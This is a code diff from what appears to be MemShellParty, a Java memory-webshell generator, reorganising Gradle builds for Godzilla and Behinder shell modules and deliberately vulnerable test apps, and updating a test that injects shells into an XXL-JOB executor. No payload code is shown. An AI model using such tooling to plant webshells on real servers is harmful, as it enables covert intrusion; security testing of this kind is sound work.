-                arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.XxlJob)
+                arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Command, Packers.XxlJob),
+                arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Godzilla, Packers.XxlJob)
         );
     }
 
@@ -53,7 +53,7 @@ public class XxlJob230ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer);
     }
 

memshell-java8/build.gradle

@@ -1,29 +1,22 @@
-plugins {
-    id 'war'
-}
-
 group = 'com.reajason.javaweb'
 version = ''
 
 java {
     sourceCompatibility = JavaVersion.VERSION_1_8
-}
-
-repositories {
-    mavenCentral()
+    targetCompatibility = JavaVersion.VERSION_1_8
 }
 
 dependencies {
     implementation project(":memshell")
-    implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE'
-    implementation 'org.springframework:spring-webflux:5.3.24'
-    implementation 'org.springframework:spring-web:4.3.30.RELEASE'
-    implementation 'io.projectreactor.netty:reactor-netty-core:1.1.25'
-    implementation 'io.netty:netty-all:4.1.116.Final'
-    implementation 'net.bytebuddy:byte-buddy:1.+'
-    providedCompile 'javax.servlet:javax.servlet-api:3.0.1'
-    providedCompile 'javax.websocket:javax.websocket-api:1.1'
-    testImplementation platform('org.junit:junit-bom:5.10.0')
+    implementation 'net.bytebuddy:byte-buddy'
+
+    implementation 'org.springframework:spring-webmvc'
+    implementation 'org.springframework:spring-webflux'
+    implementation 'io.projectreactor.netty:reactor-netty-core'
+
+    implementation 'javax.servlet:javax.servlet-api'
+    implementation 'javax.websocket:javax.websocket-api'
+    testImplementation platform('org.junit:junit-bom')
     testImplementation 'org.junit.jupiter:junit-jupiter'
 }
 

memshell/build.gradle

@@ -1,7 +1,3 @@
-plugins {
-    id 'war'
-}
-
 group = 'com.reajason.javaweb'
 version = ''
 
@@ -15,7 +11,7 @@ java {
 }
 
 dependencies {
-    implementation 'net.bytebuddy:byte-buddy:1.+'
-    providedCompile 'javax.servlet:javax.servlet-api:3.0.1'
-    providedCompile 'javax.websocket:javax.websocket-api:1.1'
+    implementation 'net.bytebuddy:byte-buddy'
+    implementation 'javax.servlet:javax.servlet-api'
+    implementation 'javax.websocket:javax.websocket-api'
 }

settings.gradle

@@ -1,12 +1,18 @@
 rootProject.name = 'MemShellParty'
 
+include 'bom'
 include 'common'
-include 'godzilla'
-include 'behinder'
+
+include 'tools'
+include 'tools:godzilla'
+include 'tools:behinder'
+
 include 'memshell'
+include 'memshell-java8'
+
 include 'deserialize'
-include 'generator'
 include 'boot'
+include 'generator'
 include 'integration-test'
 
 include 'vul'
@@ -16,6 +22,4 @@ include 'vul:vul-webapp-expression'
 include 'vul:vul-springboot2'
 include 'vul:vul-springboot3'
 include 'vul:vul-springboot2-webflux'
-include 'vul:vul-springboot3-webflux'
-include 'memshell-java8'
-
+include 'vul:vul-springboot3-webflux'

tools/behinder/build.gradle

@@ -2,7 +2,6 @@ plugins {
     id "io.freefair.lombok" version "8.11"
 }
 
-
 group = 'com.reajason.javaweb'
 version = ''
 
@@ -17,13 +16,15 @@ java {
 
 dependencies {
     implementation project(":common")
-    implementation 'net.bytebuddy:byte-buddy:1.+'
-    implementation 'commons-io:commons-io:2.+'
-    implementation 'org.apache.commons:commons-lang3:3.+'
-    implementation 'commons-codec:commons-codec:1.+'
+    implementation 'net.bytebuddy:byte-buddy'
 
-    implementation 'com.squareup.okhttp3:okhttp:4.+'
-    testImplementation platform('org.junit:junit-bom:5.10.0')
+    implementation 'commons-io:commons-io'
+    implementation 'org.apache.commons:commons-lang3'
+    implementation 'commons-codec:commons-codec'
+
+    implementation 'com.squareup.okhttp3:okhttp'
+    implementation 'com.alibaba.fastjson2:fastjson2'
+    testImplementation platform('org.junit:junit-bom')
     testImplementation 'org.junit.jupiter:junit-jupiter'
 }
 

tools/build.gradle

@@ -0,0 +1,5 @@
+idea {
+    module {
+        excludeDirs += file('src')
+    }
+}

tools/godzilla/build.gradle

@@ -0,0 +1,32 @@
+plugins {
+    id "io.freefair.lombok" version "8.11"
+}
+
+
+group = 'com.reajason.javaweb'
+version = ''
+
+java {
+    sourceCompatibility = JavaVersion.VERSION_1_8
+    targetCompatibility = JavaVersion.VERSION_1_8
+}
+
+
+dependencies {
+    implementation project(":common")
+
+    implementation 'net.bytebuddy:byte-buddy'
+
+    implementation 'commons-io:commons-io'
+    implementation 'org.apache.commons:commons-lang3'
+    implementation 'commons-codec:commons-codec'
+
+    implementation 'com.squareup.okhttp3:okhttp'
+
+    testImplementation platform('org.junit:junit-bom')
+    testImplementation 'org.junit.jupiter:junit-jupiter'
+}
+
+test {
+    useJUnitPlatform()
+}

vul/vul-springboot2/build.gradle

@@ -18,6 +18,7 @@ repositories {
 
 dependencies {
     implementation 'org.springframework.boot:spring-boot-starter-web'
+    implementation 'commons-io:commons-io:2.+'
     providedRuntime 'org.springframework.boot:spring-boot-starter-tomcat'
     testImplementation 'org.springframework.boot:spring-boot-starter-test'
 }

vul/vul-webapp-expression/build.gradle

@@ -18,6 +18,7 @@ dependencies {
     implementation 'commons-beanutils:commons-beanutils:1.9.3'
     implementation 'de.odysseus.juel:juel-impl:2.2.7'
     implementation 'org.freemarker:freemarker:2.3.23'
+    implementation 'commons-io:commons-io:2.+'
     implementation 'org.apache.velocity:velocity:1.7'
     implementation 'ognl:ognl:2.7.3'
     implementation 'org.springframework:spring-expression:4.3.0.RELEASE'

web/src/i18n/translations.ts

@@ -60,8 +60,7 @@ export const resources = {
           AgentJar: "AgentJar",
           Deserialize: "Deserialize(Only CB4, 1.9.x)",
           ScriptEngine: "ScriptEngine",
-          XxlJob: "XXL-JOB Executor",
-          XxlJob230: "XXL-JOB (2.3.0+) Executor",
+          XxlJob: "XXL-JOB Executor"
         },
       },
       tips: {